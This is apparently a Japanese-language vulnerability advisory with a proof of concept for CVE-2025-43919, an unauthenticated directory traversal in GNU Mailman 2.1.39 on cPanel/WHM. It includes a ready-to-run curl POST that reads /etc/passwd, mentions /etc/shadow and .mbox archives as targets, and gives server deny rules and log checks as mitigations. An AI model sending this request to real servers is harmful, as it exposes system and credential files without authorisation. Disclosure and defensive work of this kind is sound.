
CVE-2025-43919 の概念実証: GNU Mailman 2.1.39 (cPanel/WHM) におけるディレクトリトラバーサル。認証不要の POST リクエストを悪用して、/etc/passwd や設定データを含む任意のサーバーファイルを読み取ります。
発見者: Firudin Davudzada & Musazada Aydan
開示日: 2025年4月
CVE ID: CVE-2025-43919
深刻度: 5.8 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N)
攻撃タイプ: リモート
影響を受けるソフトウェア: GNU Mailman 2.1.39(cPanel/WHMとバンドル)
GNU Mailman 2.1.39(cPanelおよびWHMにバンドルされているもの)には、/mailman/private/mailman エンドポイントに深刻なディレクトリトラバーサル脆弱性が存在します。private.py CGIスクリプトにおける入力検証不備のため、認証されていない攻撃者がこの欠陥を悪用して、/etc/passwd やMailman設定ファイルなどのサーバー上の任意のファイルを読み取ることができます。この脆弱性は情報漏洩の重大なリスクをもたらし、他のエクスプロイトと組み合わせることでさらなる攻撃を容易にする可能性があります。
private.py CGIスクリプト(プライベートアーカイブの認証を処理)archive.py(アーカイブ処理ロジック)Mailman/Handlers/(コアメーリングリストロジック).mbox アーカイブファイルの露出の可能性/mailman/private/mailman へのPOSTリクエストにおける username パラメータがサニタイズされておらず、../ シーケンスによるファイルシステムの走査を許可している。以下のコマンドは、/etc/passwd への不正アクセスを示しています:
curl -X POST -d "username=../../../../etc/passwd&password=x&submit=Let+me+in..." http://target/mailman/private/mailman
期待される出力: /etc/passwd またはその他の対象ファイルの内容(サーバーのパーミッションに依存)。
/mailman/private/mailman への認証されていないHTTP POSTリクエストで、../ を含む細工された username パラメータを使用。/etc/passwd、パーミッションが許せば /etc/shadow)。.mbox アーカイブにアクセスし、ユーザーデータやメールコンテンツを抽出。エンドポイントへのアクセスを制限: Webサーバーを構成して /mailman/private への不正アクセスをブロック:
<Location "/mailman/private">
Require ip 127.0.0.1
Deny from all
</Location>
またはNginxの場合:
location /mailman/private {
deny all;
return 403;
}
ログの監視: /mailman/private/mailman への不審なPOSTリクエストを確認:
tail -f /var/log/httpd/access_log | grep "/mailman/private"
Firudin Davudzada 氏と Musazada Aydan 氏は、許可されたペネトレーションテストの一環として、この脆弱性を責任を持って開示しました。調整にご協力いただいたMITRE CVEチームに感謝します。
メール: [email protected]